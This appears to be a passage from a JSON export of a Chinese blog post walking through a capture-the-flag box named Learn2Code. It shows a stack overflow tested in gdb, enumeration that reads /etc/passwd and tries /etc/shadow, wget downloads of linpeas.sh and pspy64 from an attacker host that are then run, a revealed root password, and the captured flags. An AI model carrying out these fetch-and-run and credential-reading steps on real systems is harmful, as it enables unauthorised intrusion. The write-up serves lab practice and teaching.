\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ gdb-peda -q MakeMeLearner\nReading symbols from MakeMeLearner...\n(No debugging symbols found in MakeMeLearner)\ngdb-peda$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nUndefined command: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  Try "help".\ngdb-peda$ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\nStarting program: \/home\/kali\/temp\/learn2code\/MakeMeLearner AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".\nChange the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x42424242\n[Inferior 1 (process 164738) exited normally]<\/code><\/pre>\n
\u6210\u529f\u4e86\uff01\u6ce8\u610f\u5230\u6808\u662f\u5148\u5165\u540e\u51fa\u7684\uff0c\u6240\u4ee5\u6700\u540e\u8981\u641e\u6210dcba<\/code>\uff01\uff01\uff01\uff01<\/p>\n
\"image-20240420191648559\"<\/div><\/p>\n
\u5207\u6362\u5230learner<\/code>\u7528\u6237\uff01<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
learner@Learn2Code:\/home\/learner$ ls -la\ntotal 44\ndr-x------ 2 learner learner  4096 Sep 28  2020 .\ndrwxr-xr-x 3 root    root     4096 Sep 28  2020 ..\nlrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> \/dev\/null\n-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout\n-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc\n-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile\n-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault\n-r-------- 1 learner learner    14 Sep 28  2020 user.txt\nlearner@Learn2Code:\/home\/learner$ cat user.txt \nN1c3m0veMat3!\nlearner@Learn2Code:\/home\/learner$ file MySecretPasswordVault \nMySecretPasswordVault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=b5e1610477a68b69b4704729822b01c6e958cdae, for GNU\/Linux 3.2.0, not stripped<\/code><\/pre>\n
\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n
learner@Learn2Code:\/home\/learner$ .\/MySecretPasswordVault \nIf you are a learner, i'm sure you know what to do with me.<\/code><\/pre>\n
\u641e\u5230\u672c\u5730\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  puts("If you are a learner, i'm sure you know what to do with me.");\n  return 0;\n}<\/code><\/pre>\n
\u6ca1\u4e1c\u897f\uff0c\u7ee7\u7eed\u641c\u96c6\u4fe1\u606f\uff1a<\/p>\n
learner@Learn2Code:\/home\/learner$ ls\nMySecretPasswordVault  user.txt\nlearner@Learn2Code:\/home\/learner$ cd \/home\nlearner@Learn2Code:\/home$ ls -la\ntotal 12\ndrwxr-xr-x  3 root    root    4096 Sep 28  2020 .\ndrwxr-xr-x 18 root    root    4096 Sep 28  2020 ..\ndr-x------  2 learner learner 4096 Sep 28  2020 learner\nlearner@Learn2Code:\/home$ cd \/\nlearner@Learn2Code:\/$ ls -la\ntotal 68\ndrwxr-xr-x 18 root root  4096 Sep 28  2020 .\ndrwxr-xr-x 18 root root  4096 Sep 28  2020 ..\nlrwxrwxrwx  1 root root     7 Sep 28  2020 bin -> usr\/bin\ndrwxr-xr-x  3 root root  4096 Sep 28  2020 boot\ndrwxr-xr-x 17 root root  3180 Apr 20 05:08 dev\ndrwxr-xr-x 75 root root  4096 Apr 20 05:08 etc\ndrwxr-xr-x  3 root root  4096 Sep 28  2020 home\nlrwxrwxrwx  1 root root    31 Sep 28  2020 initrd.img -> boot\/initrd.img-4.19.0-11-amd64\nlrwxrwxrwx  1 root root    31 Sep 28  2020 initrd.img.old -> boot\/initrd.img-4.19.0-11-amd64\nlrwxrwxrwx  1 root root     7 Sep 28  2020 lib -> usr\/lib\nlrwxrwxrwx  1 root root     9 Sep 28  2020 lib32 -> usr\/lib32\nlrwxrwxrwx  1 root root     9 Sep 28  2020 lib64 -> usr\/lib64\nlrwxrwxrwx  1 root root    10 Sep 28  2020 libx32 -> usr\/libx32\ndrwx------  2 root root 16384 Sep 28  2020 lost+found\ndrwxr-xr-x  3 root root  4096 Sep 28  2020 media\ndrwxr-xr-x  2 root root  4096 Sep 28  2020 mnt\ndrwxr-xr-x  2 root root  4096 Sep 28  2020 opt\ndr-xr-xr-x 90 root root     0 Apr 20 05:08 proc\ndrwx------  3 root root  4096 Sep 28  2020 root\ndrwxr-xr-x 15 root root   440 Apr 20 05:08 run\nlrwxrwxrwx  1 root root     8 Sep 28  2020 sbin -> usr\/sbin\ndrwxr-xr-x  2 root root  4096 Sep 28  2020 srv\ndr-xr-xr-x 13 root root     0 Apr 20 05:08 sys\ndrwxrwxrwt  2 root root  4096 Apr 20 05:08 tmp\ndrwxr-xr-x 13 root root  4096 Sep 28  2020 usr\ndrwxr-xr-x 12 root root  4096 Sep 28  2020 var\nlrwxrwxrwx  1 root root    28 Sep 28  2020 vmlinuz -> boot\/vmlinuz-4.19.0-11-amd64\nlrwxrwxrwx  1 root root    28 Sep 28  2020 vmlinuz.old -> boot\/vmlinuz-4.19.0-11-amd64\nlearner@Learn2Code:\/$ cd opt\nlearner@Learn2Code:\/opt$ ls- la\nbash: ls-: command not found\nlearner@Learn2Code:\/opt$ ls -la\ntotal 8\ndrwxr-xr-x  2 root root 4096 Sep 28  2020 .\ndrwxr-xr-x 18 root root 4096 Sep 28  2020 ..\nlearner@Learn2Code:\/opt$ cd ..\/run\nlearner@Learn2Code:\/run$ ls -la\ntotal 16\ndrwxr-xr-x 15 root root  440 Apr 20 05:08 .\ndrwxr-xr-x 18 root root 4096 Sep 28  2020 ..\n-rw-------  1 root root    0 Apr 20 05:08 agetty.reload\ndrwxr-xr-x  2 root root   60 Apr 20 05:08 apache2\ndrwxr-xr-x  2 root root   80 Apr 20 05:08 console-setup\n-rw-r--r--  1 root root    4 Apr 20 05:08 crond.pid\n----------  1 root root    0 Apr 20 05:08 crond.reboot\ndrwxr-xr-x  2 root root   60 Apr 20 05:08 dbus\n-rw-r--r--  1 root root    4 Apr 20 05:08 dhclient.enp0s3.pid\nprw-------  1 root root    0 Apr 20 05:08 initctl\ndrwxr-xr-x  2 root root   80 Apr 20 05:08 initramfs\ndrwxrwxrwt  4 root root   80 Apr 20 05:08 lock\ndrwxr-xr-x  3 root root   60 Apr 20 05:08 log\ndrwxr-xr-x  2 root root   40 Apr 20 05:08 mount\ndrwxr-xr-x  2 root root  120 Apr 20 05:08 network\ndrwxr-xr-x  2 root root   40 Apr 20 05:08 sendsigs.omit.d\nlrwxrwxrwx  1 root root    8 Apr 20 05:08 shm -> \/dev\/shm\ndrwxr-xr-x 16 root root  380 Apr 20 05:08 systemd\ndrwxr-xr-x  2 root root   60 Apr 20 05:08 tmpfiles.d\ndrwxr-xr-x  7 root root  180 Apr 20 05:43 udev\ndrwxr-xr-x  2 root root   40 Apr 20 05:08 user\n-rw-rw-r--  1 root utmp 1152 Apr 20 05:08 utmp\nlearner@Learn2Code:\/run$ cd user\/\nlearner@Learn2Code:\/run\/user$ ls -la\ntotal 0\ndrwxr-xr-x  2 root root  40 Apr 20 05:08 .\ndrwxr-xr-x 15 root root 440 Apr 20 05:08 ..\nlearner@Learn2Code:\/run\/user$ cd ..\nlearner@Learn2Code:\/run$ file utmp\nutmp: firmware 0 v0 (revision 0)   V2, 0 bytes or less, at 0x0 0 bytes , at 0x0 0 bytes \nlearner@Learn2Code:\/run$ cd ..\nlearner@Learn2Code:\/$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:112:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nlearner:x:1000:1000:learner,,,:\/home\/learner:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nlearner@Learn2Code:\/$ cat \/etc\/shadow\ncat: \/etc\/shadow: Permission denied\nlearner@Learn2Code:\/$ cd \/tmp\nlearner@Learn2Code:\/tmp$ ls -la\ntotal 8\ndrwxrwxrwt  2 root root 4096 Apr 20 05:08 .\ndrwxr-xr-x 18 root root 4096 Sep 28  2020 ..\nlearner@Learn2Code:\/tmp$ wget http:\/\/192.168.0.143:8888\/linpeas.sh\n--2024-04-20 07:25:25--  http:\/\/192.168.0.143:8888\/linpeas.sh\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 860549 (840K) [text\/x-sh]\nSaving to: 'linpeas.sh'\n\nlinpeas.sh                            100%[=========================================================================>] 840.38K  --.-KB\/s    in 0.03s   \n\n2024-04-20 07:25:25 (30.3 MB\/s) - 'linpeas.sh' saved [860549\/860549]\n\nlearner@Learn2Code:\/tmp$ chmod +x linpeas.sh<\/code><\/pre>\n
\u8fd0\u884clinpeas.sh<\/code>\uff0c\u6ca1\u53d1\u73b0\u5565\uff0c\u518d\u4f20\u4e00\u4e2apspy64<\/code>\u4e0a\u53bb\uff1a<\/p>\n
learner@Learn2Code:\/tmp$ wget http:\/\/192.168.0.143:8888\/pspy64 \n--2024-04-20 07:30:22--  http:\/\/192.168.0.143:8888\/pspy64\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 4468984 (4.3M) [application\/octet-stream]\nSaving to: 'pspy64'\n\npspy64                                100%[=========================================================================>]   4.26M  --.-KB\/s    in 0.1s    \n\n2024-04-20 07:30:22 (43.0 MB\/s) - 'pspy64' saved [4468984\/4468984]\n\nlearner@Learn2Code:\/tmp$ chmod +x pspy64\nlearner@Learn2Code:\/tmp$ .\/pspy64<\/code><\/pre>\n
\u7b49\u4e86\u534a\u5929\u6ca1\u52a8\u9759\uff0c\u770b\u6765\u4e0d\u662f\u8fd9\u65b9\u9762\u7684\u4e86\u3002\u3002<\/p>\n
learner@Learn2Code:\/tmp$ cd \/home\/learner\/\nlearner@Learn2Code:\/home\/learner$ ls -la\ntotal 44\ndr-x------ 2 learner learner  4096 Sep 28  2020 .\ndrwxr-xr-x 3 root    root     4096 Sep 28  2020 ..\nlrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> \/dev\/null\n-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout\n-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc\n-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile\n-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault\n-r-------- 1 learner learner    14 Sep 28  2020 user.txt\nlearner@Learn2Code:\/home\/learner$ .\/MySecretPasswordVault \nIf you are a learner, i'm sure you know what to do with me.\nlearner@Learn2Code:\/home\/learner$ id     \nuid=1000(learner) gid=33(www-data) groups=33(www-data)\nlearner@Learn2Code:\/home\/learner$ ss -tnlup\nNetid            State             Recv-Q            Send-Q                       Local Address:Port                       Peer Address:Port            \nudp              UNCONN            0                 0                                  0.0.0.0:68                              0.0.0.0:*               \ntcp              LISTEN            0                 128                                      *:80                                    *:*  \nlearner@Learn2Code:\/home\/learner$ cd \/tmp\nlearner@Learn2Code:\/tmp$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping = cap_net_raw+ep<\/code><\/pre>\n
\u8fd8\u641c\u96c6\u5230\u4e86\uff1a<\/p>\n
learner@Learn2Code:\/var$ cd backups\/\nlearner@Learn2Code:\/var\/backups$ ls -la\ntotal 764\ndrwxr-xr-x  2 root root     4096 Apr 20 03:09 .\ndrwxr-xr-x 12 root root     4096 Sep 28  2020 ..\n-rw-r--r--  1 root root    40960 Sep 28  2020 alternatives.tar.0\n-rw-r--r--  1 root root    10163 Sep 28  2020 apt.extended_states.0\n-rw-r--r--  1 root root      186 Sep 28  2020 dpkg.diversions.0\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.1.gz\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.2.gz\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.3.gz\n-rw-r--r--  1 root root      172 Sep 28  2020 dpkg.statoverride.0\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.1.gz\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.2.gz\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.3.gz\n-rw-r--r--  1 root root   361448 Sep 28  2020 dpkg.status.0\n-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.1.gz\n-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.2.gz\n-rw-r--r--  1 root root   100612 Sep 28  2020 dpkg.status.3.gz\n-rw-------  1 root root      785 Sep 28  2020 group.bak\n-rw-------  1 root shadow    665 Sep 28  2020 gshadow.bak\n-rw-------  1 root root     1443 Sep 28  2020 passwd.bak\n-rw-------  1 root shadow    951 Sep 28  2020 shadow.bak<\/code><\/pre>\n
\u8fd8\u6709\uff1a<\/p>\n
learner@Learn2Code:\/tmp$ find \/ -name *ass -type f 2>\/dev\/null\n\/proc\/sys\/net\/ipv6\/conf\/all\/ndisc_tclass\n\/proc\/sys\/net\/ipv6\/conf\/default\/ndisc_tclass\n\/proc\/sys\/net\/ipv6\/conf\/enp0s3\/ndisc_tclass\n\/proc\/sys\/net\/ipv6\/conf\/lo\/ndisc_tclass\n\/etc\/apparmor.d\/abstractions\/smbpass\n\/usr\/share\/bash-completion\/completions\/mmsitepass\n\/sys\/devices\/pci0000:00\/0000:00:0d.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:0d.0\/ata3\/link3\/dev3.0\/ata_device\/dev3.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:01.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:04.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:07.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:00.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:03.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:03.0\/net\/enp0s3\/queues\/tx-0\/traffic_class\n\/sys\/devices\/pci0000:00\/0000:00:01.1\/ata1\/link1\/dev1.1\/ata_device\/dev1.1\/class\n\/sys\/devices\/pci0000:00\/0000:00:01.1\/ata1\/link1\/dev1.0\/ata_device\/dev1.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:01.1\/class\n\/sys\/devices\/pci0000:00\/0000:00:01.1\/ata2\/link2\/dev2.0\/ata_device\/dev2.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:01.1\/ata2\/link2\/dev2.1\/ata_device\/dev2.1\/class\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/bDeviceClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-1\/bDeviceClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-1\/bDeviceSubClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-1\/1-1:1.0\/bInterfaceSubClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-1\/1-1:1.0\/bInterfaceClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/bDeviceSubClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-0:1.0\/bInterfaceSubClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/usb1\/1-0:1.0\/bInterfaceClass\n\/sys\/devices\/pci0000:00\/0000:00:06.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:02.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:05.0\/class\n\/sys\/devices\/pci0000:00\/0000:00:05.0\/sound\/card0\/pcmC0D1c\/pcm_class\n\/sys\/devices\/pci0000:00\/0000:00:05.0\/sound\/card0\/pcmC0D0c\/pcm_class\n\/sys\/devices\/pci0000:00\/0000:00:05.0\/sound\/card0\/pcmC0D0p\/pcm_class\n\/sys\/devices\/system\/cpu\/vulnerabilities\/spec_store_bypass\n\/sys\/devices\/virtual\/net\/lo\/queues\/tx-0\/traffic_class\nlearner@Learn2Code:\/tmp$ cat \/sys\/devices\/system\/cpu\/vulnerabilities\/spec_store_bypass\nVulnerable<\/code><\/pre>\n
\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Checking sudo tokens\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#reusing-sudo-tokens\nptrace protection is disabled (0), so sudo tokens could be abused<\/code><\/pre>\n
emmm\u540e\u6765\uff0c\u7fa4\u4e3b\u627e\u5230\u4e86\u89e3\u6cd5\uff0c\u6b63\u662f\u4e0a\u9762\u8df3\u8fc7\u53bb\u7684\u4e00\u6b65\u3002\u3002\u3002\u3002<\/p>\n
\"image-20240420234438401\"<\/div><\/p>\n
\u5bc6\u7801\u6b63\u662f<\/p>\n
NOI98hOIhj)(Jj<\/code><\/pre>\n
\u6240\u4ee5\uff1a<\/p>\n
learner@Learn2Code:\/home\/learner$ su root\nPassword: \nroot@Learn2Code:\/home\/learner# cd \/root\nroot@Learn2Code:~# ls -la\ntotal 24\ndrwx------  3 root root 4096 Sep 28  2020 .\ndrwxr-xr-x 18 root root 4096 Sep 28  2020 ..\nlrwxrwxrwx  1 root root    9 Sep 28  2020 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\ndrwxr-xr-x  3 root root 4096 Sep 28  2020 .local\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-r--------  1 root root   13 Sep 28  2020 root.txt\nroot@Learn2Code:~# cat root.txt \nY0uG0TitbR0!<\/code><\/pre>\n
\u95f9\u4e86\u4e2a\u5927\u4e4c\u9f99\uff0c\u627e\u4e86\u534a\u5929\u54c8\u54c8\u54c8\u3002<\/p>\n
\n
\u611f\u8c22Eriman<\/code>\u5e08\u5085\u3001\u7fa4\u4e3b\u5e08\u5085\u3001rpj7<\/code>\u5e08\u5085\u4ee5\u53ca\ud83d\udc2d\ud83d\udc2d\u5e08\u5085\uff08\u540d\u5b57\u6309\u7167\u5b57\u6bcd\u6392\u5e8f\uff09\uff0c\u6ca1\u6709\u4f60\u4eec\u6211\u771f\u505a\u4e0d\u51fa\u6765\uff0c\u7231\u6b7b\u4f60\u4eec\u4e86\uff01<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"
Learn2Code \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192.168.0.139 — -A Op […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,22,18],"tags":[],"class_list":["post-596","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-reverse","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/596","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=596"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/596\/revisions"}],"predecessor-version":[{"id":597,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/596\/revisions\/597"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=596"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=596"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=596"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}